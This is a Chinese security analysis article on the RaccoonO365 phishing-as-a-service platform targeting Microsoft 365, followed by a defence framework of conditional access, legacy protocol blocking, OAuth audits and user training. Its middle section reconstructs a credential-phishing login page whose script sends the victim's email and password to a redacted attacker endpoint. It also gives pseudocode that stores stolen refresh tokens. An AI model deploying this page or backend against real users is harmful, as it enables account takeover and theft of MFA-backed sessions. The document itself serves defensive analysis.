摘要：
近年来，网络钓鱼攻击呈现出高度专业化、模块化与服务化的趋势。以“RaccoonO365”为代表的钓鱼即服务（Phishing-as-a-Service, PhaaS）平台，通过自动化工具链、品牌仿冒模板与地理定向策略，大规模投递针对Microsoft 365用户的凭证窃取邮件，严重威胁企业身份安全。2025年9月，微软联合执法机构查封338个相关域名，揭示了该平台在会话令牌窃取、OAuth滥用及横向移动方面的技术能力。本文系统剖析RaccoonO365的技术架构、攻击流程与运营模式，结合实际日志样本与代码实现，还原其前端仿冒页面、后端数据回传机制及规避检测策略。在此基础上，提出一套覆盖身份验证、协议配置、日志监控与用户培训的纵深防御框架，并通过条件式访问策略、遗留协议禁用、OAuth同意审计等具体措施，构建可落地的企业级防护体系。研究表明，仅依赖传统反钓鱼技术已难以应对PhaaS的快速迭代，需融合身份风险评估、行为异常检测与威胁情报闭环，方能有效遏制此类高级持续性社会工程攻击。
关键词：钓鱼即服务；RaccoonO365；Microsoft 365；会话令牌窃取；条件式访问；OAuth滥用；身份安全
一、引言
网络钓鱼作为最古老亦最有效的初始入侵手段之一，其演化路径正经历从“手工定制”向“工业化量产”的结构性转变。据微软2025年第三季度威胁情报报告显示，钓鱼即服务（PhaaS）平台的活跃度同比增长217%，其中针对云办公套件的攻击占比超过68%。在此背景下，“RaccoonO365”作为一个典型代表，自2024年末起迅速扩张，其核心目标并非单纯获取用户名密码，而是通过伪造Microsoft 365登录界面，诱导用户完成完整身份验证流程，进而窃取包含多因素认证（MFA）状态的会话Cookie或刷新令牌（Refresh Token），实现绕过MFA的持久化访问。
2025年9月，微软依据美国联邦法院授权，协同全球多家域名注册商与托管服务商，成功查封338个与RaccoonO365直接关联的域名。此次行动不仅阻断了其即时投递能力，更首次公开披露了该平台的技术细节与运营逻辑。值得注意的是，RaccoonO365的服务对象多为缺乏高级渗透技能的初级攻击者，其通过订阅制或按次付费模式提供“开箱即用”的钓鱼套件，显著降低了企业级凭证窃取的门槛。
现有研究多聚焦于传统钓鱼邮件的内容分析或URL信誉评估，对PhaaS平台在身份验证层的深度利用关注不足。尤其在现代身份基础设施（如Azure AD）广泛采用基于令牌的无密码认证背景下，攻击者已从“窃密”转向“劫持会话”，使得传统防病毒或邮件网关的检测机制失效。因此，亟需从攻击链视角重构防御体系，将焦点前移至身份验证环节本身。
本文旨在深入解析RaccoonO365的技术实现机制，揭示其如何利用合法身份协议的特性实施隐蔽攻击，并据此提出一套技术可行、管理可控的综合防御策略。全文结构如下：第二部分详述RaccoonO365的攻击流程与关键技术组件；第三部分通过代码示例还原其前端仿冒与后端数据处理逻辑；第四部分构建多层次防御框架，涵盖协议配置、访问控制、日志监控与用户意识；第五部分讨论攻击者的潜在规避手段及组织应对建议；第六部分总结全文并指出未来研究方向。
二、RaccoonO365的攻击流程与技术特征
RaccoonO365的攻击生命周期可分为五个阶段：目标侦察、钓鱼页面部署、诱饵投递、凭证/令牌窃取、横向移动与持久化。其核心创新在于将整个流程高度自动化，并通过模块化设计支持租户自定义。
（一）目标侦察与地理定向
攻击者首先通过公开渠道（如LinkedIn、公司官网）收集目标组织的员工邮箱格式、部门结构及常用协作工具。RaccoonO365平台内置地理IP数据库，可根据收件人IP自动切换钓鱼页面的语言、时区甚至品牌元素（如本地子公司Logo），提升欺骗性。例如，针对欧洲金融客户的页面会显示GDPR合规声明，而北美政府承包商则可能嵌入虚假的CMMC认证标识。
（二）钓鱼页面动态生成
平台提供可视化模板编辑器，允许租户上传自定义HTML/CSS，或从预置的Microsoft 365、SharePoint、Teams等模板中选择。关键在于，这些页面并非静态克隆，而是通过代理脚本实时转发用户与微软身份端点（login.microsoftonline.com）的交互。具体而言，当用户在仿冒页面输入凭据并点击“登录”后，前端JavaScript将凭据连同MFA响应（如短信验证码、推送通知确认）一并提交至RaccoonO365的后端服务器，后者再以真实用户身份向微软发起认证请求。若认证成功，服务器将捕获返回的会话Cookie（如x-ms-gateway-slice、ESTSAUTHPERSISTENT）及OAuth授权码，同时将用户重定向至真实Microsoft 365门户，制造“登录成功”假象。
（三）会话令牌窃取与滥用
相较于传统钓鱼仅获取明文密码，RaccoonO365的核心价值在于捕获具备MFA上下文的会话状态。攻击者可直接使用这些Cookie在浏览器中维持登录会话，或利用刷新令牌在后台静默获取新的访问令牌（Access Token），从而绕过所有基于密码的二次验证。更危险的是，若受害者账户具有管理员权限，攻击者可进一步申请高权限应用的OAuth同意（如“读取所有邮箱”、“管理用户”），实现权限提升。
（四）横向移动与商业邮件欺诈（BEC）
一旦获得有效会话，攻击者通常执行以下操作：1）搜索“发票”“付款”“合同”等关键词邮件，识别财务流程；2）设置邮件转发规则，将敏感通信静默抄送至外部邮箱；3）冒充高管发送紧急付款指令。由于所有操作均来自合法会话，传统EDR或SIEM系统难以将其标记为异常。
（五）规避检测机制
RaccoonO365采用多种反侦察技术：1）域名快速轮换，平均存活时间不足48小时；2）使用CDN或免费托管服务隐藏真实IP；3）在HTML中嵌入混淆JavaScript，延迟加载关键窃取逻辑；4）模拟正常用户UA与屏幕分辨率。此外，部分实例利用“老域劫持”（即注册已过期但曾属知名企业的域名），提升邮件可信度。
三、技术实现还原：前端仿冒与后端处理
为验证上述机制，本文基于公开泄露的RaccoonO365样本片段，重构其核心组件。需强调，以下代码仅用于学术分析，严禁用于非法用途。
（一）前端仿冒页面（简化版）
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Sign in to your account</title>
<!-- 模拟微软官方样式 -->
<link rel="stylesheet" href="https://statics.teams.cdn.office.net/hashedcss/...">
</head>
<body>
<div id="login-form">
<h1>Sign in</h1>
<form id="credForm" action="javascript:void(0);">
<input type="email" id="email" placeholder="Email, phone, or Skype" required>
<input type="password" id="password" placeholder="Password" required>
<button type="submit">Next</button>
</form>
</div>
<script>
document.getElementById('credForm').addEventListener('submit', async (e) => {
e.preventDefault();
const email = document.getElementById('email').value;
const password = document.getElementById('password').value;
// 发送凭据至攻击者控制的后端
await fetch('https://[REDACTED]/phish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
target: 'm365',
email: email,
password: password,
ip: '', // 可通过后端获取
ua: navigator.userAgent
})
});
// 重定向至真实微软登录页，维持用户体验
window.location.href = 'https://login.microsoftonline.com/';
});
</script>
</body>
</html>
此代码虽简化，但体现了核心逻辑：捕获凭据后立即外传，再跳转至真实站点以避免用户察觉异常。
（二）后端凭证处理与会话代理（伪代码）
from flask import Flask, request, jsonify
import requests
app = Flask(__name__)
# 模拟攻击者后端接收钓鱼数据
@app.route('/phish', methods=['POST'])
def receive_phish():
data = request.json
email = data['email']
password = data['password']
# 此处应调用微软身份端点进行真实认证（需处理CSRF、SAML等）
# 为简化，假设已获取会话Cookie
session_cookies = perform_real_auth(email, password)
# 存储会话供后续使用
store_session(email, session_cookies)
# 可选：触发MFA挑战并捕获响应（更复杂）
return jsonify({"status": "success"})
def perform_real_auth(email, password):
# 实际实现需处理微软的多步骤认证流程
# 包括初始POST、MFA重定向、设备信任等
# 此处仅示意
auth_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
payload = {
'client_id': 'd3590ed6-52b3-4102-aeff-a6616a8b83d6', # Microsoft Teams客户端ID
'scope': 'https://graph.microsoft.com/.default',
'username': email,
'password': password,
'grant_type': 'password'
}
resp = requests.post(auth_url, data=payload)
if resp.status_code == 200:
tokens = resp.json()
# 提取refresh_token和access_token
return {
'refresh_token': tokens.get('refresh_token'),
'access_token': tokens.get('access_token')
}
else:
return None
def store_session(email, tokens):
# 将令牌存入数据库，关联受害者信息
db.sessions.insert_one({
'victim_email': email,
'refresh_token': tokens['refresh_token'],
'captured_at': datetime.utcnow()
})
上述伪代码展示了攻击者如何利用资源所有者密码凭证（ROPC）流（尽管微软已限制其使用，但在某些遗留场景仍可能被滥用）获取令牌。更常见的做法是通过代理中间人（MitM）方式，在用户与微软之间透明转发请求，从而捕获完整会话Cookie。
四、纵深防御体系构建
面对RaccoonO365类攻击，单一防护措施极易被绕过。必须构建覆盖身份、设备、应用与用户的纵深防御体系。
（一）强化身份验证策略
全面禁用遗留认证协议：基本认证（Basic Auth）、IMAP、POP3等不支持MFA的协议是PhaaS的主要突破口。微软数据显示，启用MFA的账户若仍开放IMAP，遭攻破概率提升83%。应在Azure AD中全局禁用遗留认证，并通过Conditional Access策略强制执行。
实施条件式访问（Conditional Access）：创建策略要求所有用户从非可信IP登录时必须使用FIDO2安全密钥或Microsoft Authenticator的无密码登录（Passwordless）。对于特权账户，应限制仅允许从公司网络或已注册设备访问。
启用基于风险的身份保护：Azure AD Identity Protection可自动检测“不可能旅行”“匿名IP登录”等风险信号，并触发MFA挑战或阻止登录。
（二）OAuth与应用权限监控
审查第三方应用同意：定期审计用户授予的OAuth权限，特别是“完全访问邮箱”“读取用户文件”等高危权限。可通过PowerShell脚本批量导出：
Get-AzureADUser | ForEach-Object {
$user = $_.UserPrincipalName
Get-AzureADOAuth2PermissionGrant -All $true | Where-Object {$_.PrincipalId -eq $_.ObjectId} |
Select-Object @{Name="User";Expression={$user}}, ClientId, Scope, StartTime
}
限制应用注册权限：默认情况下，所有用户均可注册应用。应将此权限收归IT管理员，防止攻击者通过合法应用注册流程植入恶意OAuth客户端。
（三）日志关联与异常检测
统一日志采集：将Azure AD Sign-in Logs、Audit Logs、Exchange Mailbox Audit Logs集中至SIEM平台。重点关注以下事件：
同一会话中出现多个地理位置登录
刷新令牌频繁用于获取新访问令牌
邮件规则创建（尤其是转发至外部域）
构建检测规则：例如，若某账户在10分钟内从两个相距超过1000公里的IP登录，且均携带有效会话Cookie，则触发告警。
（四）用户安全意识培训
技术防护无法完全替代人的判断。培训应聚焦于RaccoonO365常用诱饵：
“您有未读的共享文档，请立即查看”（链接指向钓鱼页）
“您的密码将在24小时内过期，请更新”
“检测到异常登录，请验证身份”
采用模拟钓鱼演练，对点击率高的员工进行针对性辅导，并建立“一键举报”机制，缩短响应时间。
五、攻击者规避策略与组织应对
尽管微软查封338个域名取得阶段性成果，但PhaaS生态具备强韧性。攻击者可能采取以下规避手段：
转向新兴顶级域（TLD）或去中心化域名：如使用.onion、.eth等难以查封的命名空间。
利用合法云服务构建钓鱼页：通过GitHub Pages、Netlify等免费托管仿冒页面，因其IP信誉高，更易绕过邮件过滤。
采用“一次一域”策略：每个钓鱼活动使用独立域名，大幅增加封禁成本。
对此，组织应：
缩短威胁情报更新周期，将新发现的恶意域名在1小时内同步至防火墙与邮件网关；
部署基于行为的URL分析引擎，而非仅依赖黑名单；
对所有外部链接实施安全重写（URL Rewriting）与沙箱预览。
六、结论
RaccoonO365的出现标志着网络钓鱼已进入“工业化PhaaS”时代。其核心威胁不在于技术复杂度，而在于将高级攻击能力商品化，使初级攻击者也能对企业身份基础设施构成实质性破坏。本文通过解构其攻击链，证实会话令牌窃取已成为绕过MFA的关键路径。防御上，必须摒弃“边界防护”思维，转向以身份为中心的零信任架构。具体而言，禁用遗留协议、强化条件式访问、监控OAuth滥用、提升用户辨识力，四者缺一不可。未来，随着无密码认证的普及，攻击面或将转移至生物特征欺骗或设备信任劫持，安全研究需持续追踪PhaaS的演化轨迹，动态调整防御策略。唯有将技术控制、流程管理与人员意识深度融合，方能在对抗中保持主动。
编辑：芦笛（公共互联网反网络钓鱼工作组）
扫一扫
779
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
